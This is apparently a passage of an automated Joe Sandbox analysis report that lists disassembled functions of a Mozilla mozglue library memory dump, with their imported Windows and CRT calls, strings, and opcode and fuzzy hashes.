APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CAB75C4,?), ref: 6CAB762B

Part of subcall function 6CA7CA10: malloc.MOZGLUE(?), ref: 6CA7CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CAB74D7,6CAC15FC,?,?,?), ref: 6CAB7644
GetCurrentThreadId.KERNEL32 ref: 6CAB765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CAB74D7,6CAC15FC,?,?,?), ref: 6CAB7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CAB74D7,6CAC15FC,?,?,?), ref: 6CAB7677

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 23301f7a0b34e237a0c123ea57c431df14cfe496f9303e96a5d8daeb59308a18
Instruction ID: 61bb316c5fa5b5d79c28dc4f06ea021456cb5c086e3d62aaf799d99770d20b9c
Opcode Fuzzy Hash: 23301f7a0b34e237a0c123ea57c431df14cfe496f9303e96a5d8daeb59308a18
Instruction Fuzzy Hash: D6F0C275E10746ABD7008F21D888676B778FFEA259F218316F90443601E7B0A5D18BD0

Function 6CAC1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CAC1800

Part of subcall function 6CA9CBE8: GetCurrentProcess.KERNEL32(?,6CA631A7), ref: 6CA9CBF1
Part of subcall function 6CA9CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA631A7), ref: 6CA9CBFA

Part of subcall function 6CA64290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CAA3EBD,6CAA3EBD,00000000), ref: 6CA642A9

Strings

name, xrefs: 6CAC1939
Details, xrefs: 6CAC1925
{marker.name} - {marker.data.name}, xrefs: 6CAC18C7

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 6cede0d067ca66cdaf12c11160ec345cfe78d4c5fd866fab44afe1b4d1169725
Instruction ID: f2cb73f48ae1b8a55255b3f5ae3678555fa1e34fe8117c697210fa1f91202435
Opcode Fuzzy Hash: 6cede0d067ca66cdaf12c11160ec345cfe78d4c5fd866fab44afe1b4d1169725
Instruction Fuzzy Hash: D871F370A007069FDB04CF68D5946AABBB1FF89314F04466DD8154BB41DB70EAD9CBE2

Function 6CACB0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6CACB0A6,6CACB0A6,?,6CACAF67,?,00000010,?,6CACAF67,?,00000010,00000000,?,?,6CACAB1F), ref: 6CACB1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6CACB0A6,6CACB0A6,?,6CACAF67,?,00000010,?,6CACAF67,?,00000010,00000000,?), ref: 6CACB1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6CACB0A6,6CACB0A6,?,6CACAF67,?,00000010,?,6CACAF67,?,00000010), ref: 6CACB25F

Strings

map/set<T> too long, xrefs: 6CACB1FA

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 190350b34c4bbc632e850415ccfb6fe5ceff63649316f6c3eeb8d7e731b36b1a
Instruction ID: fa0f1ac4e297ea5748932162b45c58f18bdd034f520558619017ae2f09fb749a
Opcode Fuzzy Hash: 190350b34c4bbc632e850415ccfb6fe5ceff63649316f6c3eeb8d7e731b36b1a
Instruction Fuzzy Hash: CF6169747042458FD701CF19D980A9ABBF1FF4A318F18C699D8595BB52C732EC85CBA2

Function 6CA8D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CA9CBE8: GetCurrentProcess.KERNEL32(?,6CA631A7), ref: 6CA9CBF1
Part of subcall function 6CA9CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA631A7), ref: 6CA9CBFA

EnterCriticalSection.KERNEL32(6CAEE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA9D1C5), ref: 6CA8D4F2
LeaveCriticalSection.KERNEL32(6CAEE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA9D1C5), ref: 6CA8D50B

Part of subcall function 6CA6CFE0: EnterCriticalSection.KERNEL32(6CAEE784), ref: 6CA6CFF6
Part of subcall function 6CA6CFE0: LeaveCriticalSection.KERNEL32(6CAEE784), ref: 6CA6D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA9D1C5), ref: 6CA8D52E
EnterCriticalSection.KERNEL32(6CAEE7DC), ref: 6CA8D690
LeaveCriticalSection.KERNEL32(6CAEE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA9D1C5), ref: 6CA8D751

Strings

MOZ_CRASH(), xrefs: 6CA8D4BB

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: ab6e519f9ce817bb6ec7a7a8794f3f836368a02cf251640f7ce2d7eeef98ca36
Instruction ID: 4aeba1f04e2be01b56aff63adb165cfc3ab8ddaafad4b776d6cc111683847dd9
Opcode Fuzzy Hash: ab6e519f9ce817bb6ec7a7a8794f3f836368a02cf251640f7ce2d7eeef98ca36
Instruction Fuzzy Hash: 3F510271A057068FD768CF29C09425AB7F1EB8D304F188A2FD59AC7B84D770E880CB91

Function 6CAB4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CAB4721

Strings

-%llu, xrefs: 6CAB4733
profiler-paused, xrefs: 6CAB46E4
., xrefs: 6CAB476A

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: bb4cd3ae953d296bc4c9672bbe3245a957b507855a73755d05cff86565333b3a
Instruction ID: ede1c6620ad6611b66456d380fde564b3606540e98d4086a7a38965e28c4fe49
Opcode Fuzzy Hash: bb4cd3ae953d296bc4c9672bbe3245a957b507855a73755d05cff86565333b3a
Instruction Fuzzy Hash: 72416671E087099BCB08DF78E85219EBBE9EF85344F14C62EE855A7B41EB309885C791

Function 6CAB46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CAB4721

Part of subcall function 6CA64410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CAA3EBD,00000017,?,00000000,?,6CAA3EBD,?,?,6CA642D2), ref: 6CA64444

Strings

-%llu, xrefs: 6CAB4733
profiler-paused, xrefs: 6CAB46E4
., xrefs: 6CAB476A

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 78f436f7e8fb487f13c77b6f2a0ff291bde3c9de51888d8a4a0dcf88d2f5433c
Instruction ID: c3cc148ae8614318c0e1bfa853a6b47d70bb8516d566dec479017a23646d8b16
Opcode Fuzzy Hash: 78f436f7e8fb487f13c77b6f2a0ff291bde3c9de51888d8a4a0dcf88d2f5433c
Instruction Fuzzy Hash: 21312D71F043185BCB0CCF6DD89569E7BEADB89314F15853DE805ABB41E7749884CB90

Function 6CABB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA64290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CAA3EBD,6CAA3EBD,00000000), ref: 6CA642A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CABB127), ref: 6CABB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CABB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CABB4E4

Strings

pid:, xrefs: 6CABB4DE

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 5474cf01eccef55131400f60594bcaf417b5ffe511ca4b0e712ee91b53c4e07c
Instruction ID: 71f2105aac1d9be946b50839a5417ac19ec84555009f5e8e108f24b0c75140ff
Opcode Fuzzy Hash: 5474cf01eccef55131400f60594bcaf417b5ffe511ca4b0e712ee91b53c4e07c
Instruction Fuzzy Hash: 4131E831A012159FDB10DFA9E880AEEF779FF05318F580619D81677A41D731A8C9CBE1

Function 6CAAE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAAE577
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAE584
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CAAE8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CAAE722, 6CAAE750, 6CAAE7A2
MOZ_PROFILER_STARTUP, xrefs: 6CAAE5A1, 6CAAE5CC, 6CAAE5FF, 6CAAE62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CAAE777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CAAE826, 6CAAE850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CAAE655

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 436a12078fc5bd459f591a52f2ba93d6d5cf879369b022176a809c14db6d9e4a
Instruction ID: 39e56dc4395e7a5dc1b7af374f53f301d17be4ec79144204ea7178f38c2e9254
Opcode Fuzzy Hash: 436a12078fc5bd459f591a52f2ba93d6d5cf879369b022176a809c14db6d9e4a
Instruction Fuzzy Hash: 33110431600355DFCB049F18E848B6ABBF4FBCD328F004A1CE84247640C770A886DBD5

Function 6CAB0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAB0CD5

Part of subcall function 6CA9F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CA9F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAB0D40
free.MOZGLUE ref: 6CAB0DCB

Part of subcall function 6CA85E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA85EDB
Part of subcall function 6CA85E90: memset.VCRUNTIME140(6CAC7765,000000E5,55CCCCCC), ref: 6CA85F27
Part of subcall function 6CA85E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA85FB2

free.MOZGLUE ref: 6CAB0DDD
free.MOZGLUE ref: 6CAB0DF2

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 9b57ea94396f0904109334c3794d5ea081ae810e8654fe83e94bd3c3a23b3d9f
Instruction ID: c7210dc63c32f1efa47e028c0f045bb6beb4e3ff2c20139484f91024bea911ed
Opcode Fuzzy Hash: 9b57ea94396f0904109334c3794d5ea081ae810e8654fe83e94bd3c3a23b3d9f
Instruction Fuzzy Hash: 07413CB19087809BD720CF29C14079AFBE5BFC9714F118A1EE8D897750D770A489CB92

Function 6CABCCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CAADA31,00100000,?,?,00000000,?), ref: 6CABCDA4

Part of subcall function 6CA7CA10: malloc.MOZGLUE(?), ref: 6CA7CA26

Part of subcall function 6CABD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CABCDBA,00100000,?,00000000,?,6CAADA31,00100000,?,?,00000000,?), ref: 6CABD158
Part of subcall function 6CABD130: InitializeConditionVariable.KERNEL32(00000098,?,6CABCDBA,00100000,?,00000000,?,6CAADA31,00100000,?,?,00000000,?), ref: 6CABD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CAADA31,00100000,?,?,00000000,?), ref: 6CABCDC4

Part of subcall function 6CAB7480: ReleaseSRWLockExclusive.KERNEL32(?,6CAC15FC,?,?,?,?,6CAC15FC,?), ref: 6CAB74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CAADA31,00100000,?,?,00000000,?), ref: 6CABCECC

Part of subcall function 6CA7CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA7CAA2

Part of subcall function 6CAACB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CABCEEA,?,?,?,?,00000000,?,6CAADA31,00100000,?,?,00000000), ref: 6CAACB57
Part of subcall function 6CAACB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CAACBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CABCEEA,?,?), ref: 6CAACBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CAADA31,00100000,?,?,00000000,?), ref: 6CABD058

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 5525a589f3aa030655e7144b7362cfa61ccecb8da62df1bbf7b05d6de1806f82
Instruction ID: efd941865964e9e449508ed75ffce9ddba9ff06175c57c2ec0d8eb975a337057
Opcode Fuzzy Hash: 5525a589f3aa030655e7144b7362cfa61ccecb8da62df1bbf7b05d6de1806f82
Instruction Fuzzy Hash: 2FD16C71A04B069FD708CF38C580B99B7E1FF89308F05866DD8599B712EB31A9A5CB81

Function 6CA71720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CA717B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6CA718EE
free.MOZGLUE(?), ref: 6CA71911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA7194C

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 9911ea39d0ae4631cfa8f81afd241e4d70ac226a72fa442632baaa000824987c
Instruction ID: f829d2d16f517616ab7b0d2111e5a977d9db459017b88abd4f8b49c5b45a3211
Opcode Fuzzy Hash: 9911ea39d0ae4631cfa8f81afd241e4d70ac226a72fa442632baaa000824987c
Instruction Fuzzy Hash: E581D374A103059FCB18CFA9D8A49AEBBF1FF89314F04452CE915AB754D730E989CBA1

Function 6CA85C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CA85D40
EnterCriticalSection.KERNEL32(6CAEF688), ref: 6CA85D67
__aulldiv.LIBCMT ref: 6CA85DB4
LeaveCriticalSection.KERNEL32(6CAEF688), ref: 6CA85DED

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: b00fead2e6e4b4a7c4c90ba249b79996daed429101766b4e74d24a2bfab04c5c
Instruction ID: c778a48ca5468714decd5af88ebb5dee83f8c0280375fee2e432bf2b5beaea8e
Opcode Fuzzy Hash: b00fead2e6e4b4a7c4c90ba249b79996daed429101766b4e74d24a2bfab04c5c
Instruction Fuzzy Hash: D7515E71E0125A8FDF08CFA8C954AAEBBB2FB89304F19861DDC11A7750C7306986DBD0

Function 6CA6CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA6CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CA6CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CA6CF4E

Strings

0, xrefs: 6CA6CF30

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 9b700dd66753a7ec6e260141c2e0f41569bc92e788b0aef819785c322dfc135b
Instruction ID: a9ee17770c73b995f7731c59bcc2f6bbb79ace973dd88248847e6f40738377fb
Opcode Fuzzy Hash: 9b700dd66753a7ec6e260141c2e0f41569bc92e788b0aef819785c322dfc135b
Instruction Fuzzy Hash: 16512171A002568FCB00CF19C890AAAFBB5EF99304F19859DD8595F792D331ED46CBE0

Function 6CAC77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6CAC7829

Part of subcall function 6CA9CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6CA631A7), ref: 6CA9CC45
Part of subcall function 6CA9CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6CA631A7), ref: 6CA9CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CAC789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CAC78CF

Part of subcall function 6CA64DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA64E5A
Part of subcall function 6CA64DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA64E97

Part of subcall function 6CA64290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CAA3EBD,6CAA3EBD,00000000), ref: 6CA642A9

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 2b6c8770ac2b0a8fdcd6439ee935148c0cf6ca287972d14a40b75d0fc47ab241
Instruction ID: f4de320bc6838ba645497125a12ec2efff1727cae854208cd59cf18ba6f18b15
Opcode Fuzzy Hash: 2b6c8770ac2b0a8fdcd6439ee935148c0cf6ca287972d14a40b75d0fc47ab241
Instruction Fuzzy Hash: 21417D71A047469BD300DF29D48056BFBF4FF8A254F604A2EE4A987640DB70E599CBD2

Function 6CAA6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CAA82BC,?,?), ref: 6CAA649B

Part of subcall function 6CA7CA10: malloc.MOZGLUE(?), ref: 6CA7CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA64A9

Part of subcall function 6CA9FA80: GetCurrentThreadId.KERNEL32 ref: 6CA9FA8D
Part of subcall function 6CA9FA80: AcquireSRWLockExclusive.KERNEL32(6CAEF448), ref: 6CA9FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA653F
free.MOZGLUE(?), ref: 6CAA655A

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
